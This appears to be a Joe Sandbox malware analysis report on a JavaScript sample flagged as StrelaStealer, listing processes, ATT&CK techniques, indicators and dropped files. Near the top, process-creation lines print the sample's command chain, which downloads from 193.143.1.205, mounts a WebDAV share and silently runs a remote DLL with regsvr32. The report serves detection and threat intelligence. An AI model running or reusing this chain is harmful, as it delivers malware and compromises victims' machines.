Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\225512624716824.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
190731319210776809.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
190731319210776809.js	8%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/fr	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/.r	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/iRX3	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/Rro3	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000010.00000003.1321226556.000002727DA00000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.16.dr, edb.log.16.dr	false		high
http://crl.ver)	svchost.exe, 00000010.00000002.2561180282.000002727C2BF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.15.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.16.dr	false		high
http://193.143.1.205:8888/fr	net.exe, 0000000D.00000002.1323113437.0000029A3C02D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/iRX3	net.exe, 0000000D.00000002.1323113437.0000029A3BFF8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 0000000D.00000002.1323113437.0000029A3BFF8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1323113437.0000029A3C02D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/Rro3	net.exe, 0000000D.00000002.1323113437.0000029A3C02D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/.r	net.exe, 0000000D.00000002.1323113437.0000029A3C02D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588783
Start date and time:	2025-01-11 05:27:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	190731319210776809.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 18.213.11.84, 54.224.241.105, 34.237.241.83, 50.16.47.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 199.232.210.172, 2.16.168.105, 2.16.168.107, 23.209.209.135, 13.107.246.45, 4.175.87.197, 23.56.162.204
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, tile-service.weather.microsoft.com, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:28:21	API Interceptor	24x Sleep call for process: powershell.exe modified
23:28:25	API Interceptor	2x Sleep call for process: svchost.exe modified
23:28:26	API Interceptor	1x Sleep call for process: net.exe modified
23:28:38	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	321646101945257.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1223923852588014617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	248185965269371196.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12728322661441225103.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	467631239147784826.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	22964327542023110895.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	RzEqKuZBuK.exe	Get hash	malicious	GuLoader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	6734200751517017767.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19663169782459227955.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	584319483127519041.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1731726859230921847.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28926317492847332246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16267239851350230287.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1147112155713680.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2660438432237518549.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	395621741190315695.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	884736801811116482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7066927038558147
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vq/:2JIB/wUKUKQncEmYRTwh0b
MD5:	1B406627CA73FBF2A7335CC737E6D7DD
SHA1:	1B8A10D4370B957FA698DB188664823BB84DF8F0
SHA-256:	7F493D88DCEA15F776EA8F03F573FA00A39B12B5128A281D08C9CA50465332A8
SHA-512:	F900D29B5EEC176C988FC441CEA058E67624A11853F3D498BAB86F2430790AEA6868551DB51DD69845C926734D5A7E6E7D1C08F73B8AF090BC94556DB3C77629
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x88c56029, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899392341232042
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:TazaPvgurTd42UgSii
MD5:	25BA612C9F6D3B94C62E5F06D5FA41CF
SHA1:	D3C4D219E1FC7F314D4D3984CB85E96CD9F14FAC
SHA-256:	18B89C5460662155B33F0DD0F85BECCE314D64D64A120E80493FDE660FF9CDC4
SHA-512:	A6C47B531C5B99FF8BD0259A27A7775F5CDEBB26532AD4233876F3CCBA50045DABD64316FD7B0BB79D8707AE272E5A7653BA3B736D6006EE8AFA49BD4614AC93
Malicious:	false
Preview:	..`)... ...............X\...;...{......................0.`.....42...{5......}w.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{...................................%0......}...........................}...........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08088292010284695
Encrypted:	false
SSDEEP:	3:uYiyYeImknp1t/57Dek3JBMQtllallEqW3l/TjzzQ/t:uYiyzYHR3tBBlAmd8/
MD5:	DBB123AF00100B996C7545494E005F9C
SHA1:	EAB07490C4FC53C626414B9E7230A8ED86F7B09D
SHA-256:	1BA2D8DC7FAFAAB3B11795E18AF14183F69919F802CD3D1222F970B13B724351
SHA-512:	AA71949EFB24C96CB3A7D543405737F55B4F68A979B142002C06454D8C9691951E87B1838A78230E05E5CFEE2AA98BA3E386001939761DAB7A68F609FC12D9AB
Malicious:	false
Preview:	.32......................................;...{.......}..42...{5.........42...{5.42...{5...Y.42...{59.........................}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.166293563080605
Encrypted:	false
SSDEEP:	6:iO4qae4iq2PcNwi2nKuAl9OmbnIFUtSqaenxZmwsqaenrkwOcNwi2nKuAl9Ombjd:70NivLZHAahFUtW0/Q054ZHAaSJ
MD5:	4D9936C53686CC9A8CC1702AA1DE5A97
SHA1:	B63ED781ABD72511CFB03033540B4AD84A16B7E9
SHA-256:	0E43430E97838601CEA1BAA24105B3D3414822B01EDBF448A0BBF3EC85B3595D
SHA-512:	6C2FCE28A43A513592781C5264E1CA462597B13025C27DFBB9232C558BF1E9065EA6F19DB1D00067385A39BEA726241CDC226E2194EF812EFD1D7D45E2E89195
Malicious:	false
Preview:	2025/01/10-23:28:25.892 1e20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:28:25.895 1e20 Recovering log #3.2025/01/10-23:28:25.895 1e20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.166293563080605
Encrypted:	false
SSDEEP:	6:iO4qae4iq2PcNwi2nKuAl9OmbnIFUtSqaenxZmwsqaenrkwOcNwi2nKuAl9Ombjd:70NivLZHAahFUtW0/Q054ZHAaSJ
MD5:	4D9936C53686CC9A8CC1702AA1DE5A97
SHA1:	B63ED781ABD72511CFB03033540B4AD84A16B7E9
SHA-256:	0E43430E97838601CEA1BAA24105B3D3414822B01EDBF448A0BBF3EC85B3595D
SHA-512:	6C2FCE28A43A513592781C5264E1CA462597B13025C27DFBB9232C558BF1E9065EA6F19DB1D00067385A39BEA726241CDC226E2194EF812EFD1D7D45E2E89195
Malicious:	false
Preview:	2025/01/10-23:28:25.892 1e20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:28:25.895 1e20 Recovering log #3.2025/01/10-23:28:25.895 1e20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.163373628874289
Encrypted:	false
SSDEEP:	6:iO4qaecc5q2PcNwi2nKuAl9Ombzo2jMGIFUtSqaeccXjZZmwsqaeccekwOcNwi2g:70Dc5vLZHAa8uFUtWDcX9/QDce54ZHAv
MD5:	F0CC8A38EA45703BE83AF913B3A2B847
SHA1:	2E89129ACECE362444AB63419BFA80B884B8384C
SHA-256:	1F9B00FC3C99649FD42DCA9EF195E64FE3EC75C5AB1AC350C2DC4C3F01CA988A
SHA-512:	EE4E05FF849983F8D63662C7B9A598596B4C660780B430EF7E940A34BA3C8D0F27BC079AC53017E10578CB8446BB38C35A189E48D4EB179D612455A8DE614892
Malicious:	false
Preview:	2025/01/10-23:28:25.991 1ef0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:28:25.992 1ef0 Recovering log #3.2025/01/10-23:28:25.993 1ef0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.163373628874289
Encrypted:	false
SSDEEP:	6:iO4qaecc5q2PcNwi2nKuAl9Ombzo2jMGIFUtSqaeccXjZZmwsqaeccekwOcNwi2g:70Dc5vLZHAa8uFUtWDcX9/QDce54ZHAv
MD5:	F0CC8A38EA45703BE83AF913B3A2B847
SHA1:	2E89129ACECE362444AB63419BFA80B884B8384C
SHA-256:	1F9B00FC3C99649FD42DCA9EF195E64FE3EC75C5AB1AC350C2DC4C3F01CA988A
SHA-512:	EE4E05FF849983F8D63662C7B9A598596B4C660780B430EF7E940A34BA3C8D0F27BC079AC53017E10578CB8446BB38C35A189E48D4EB179D612455A8DE614892
Malicious:	false
Preview:	2025/01/10-23:28:25.991 1ef0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:28:25.992 1ef0 Recovering log #3.2025/01/10-23:28:25.993 1ef0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2989d118-c581-4c68-95a1-8ce57a4ed6f1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF49dd8b.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a251fe3a-1ef3-448c-acff-baafcfef9c30.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.970372088484459
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPKhsBdOg2HDZcaq3QYiubSpDyP7E4T3y:Y2sRdsxydMHDg3QYhbSpDa7nby
MD5:	DC9944D8902D8F939FDCACBB647C669D
SHA1:	37C67195E77FF6D517C33041CBB4A22B3BFAAF37
SHA-256:	E46F8FE83135B69CEB4B9364C32745196245C614ED62F32E06D0ECBAC2A5BB67
SHA-512:	577CC6DC2FBCC1574534DECFB18C0211EFF09A161267C9685A59AC440121E9BCF5ECFCEBF1AD319BA16E52AE7E6268BCCB8A592FC9E860E5583FC0EFFFF4B929
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381129718491996","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":130070},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2332084392382345
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPwNzWZz:CwNw1GHqPySfkcigoO3h28ytP+zWZz
MD5:	1E225C766F6EE413182BA2B221CF342A
SHA1:	4E21C8C2F8C596CBF0F6224325836768EC76B7B0
SHA-256:	C0AEEB1D5EF277228CB9A82F8EA5208B63F275E6130F291CAB2E1A7DA2D92666
SHA-512:	A1A5CF0A03324C6BF1B189CBA21ACA02C1BB2B4FC8D2E5FE9A03C4B67DD6744418E723679DE824ED1EF1BF2A6D746DE53A1904453531194F2F43344913C50A12
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.174741639570343
Encrypted:	false
SSDEEP:	6:iO4qaDmIq2PcNwi2nKuAl9OmbzNMxIFUtSqaEmhZmwsqaiD7kwOcNwi2nKuAl9Ob:70SIvLZHAa8jFUtWEmh/Qg754ZHAa84J
MD5:	1F0D916072E8E1CEF20A5E74445483BF
SHA1:	73580A59F0B7BF16C22243BF7A510C3AE2116303
SHA-256:	4A9E67BECF9DC6FFB3E33756755A88A3B8C3334F873DE29CEA4436FEDB1189B2
SHA-512:	4726736A14DF8A14A7C0AF359F220A893B6D33B5A92FE39C1D609C9A7677A748E79FEACF2C9F23D75F112BEB439D6C59E7B3F6B15D7F103E34F622B774FBB43F
Malicious:	false
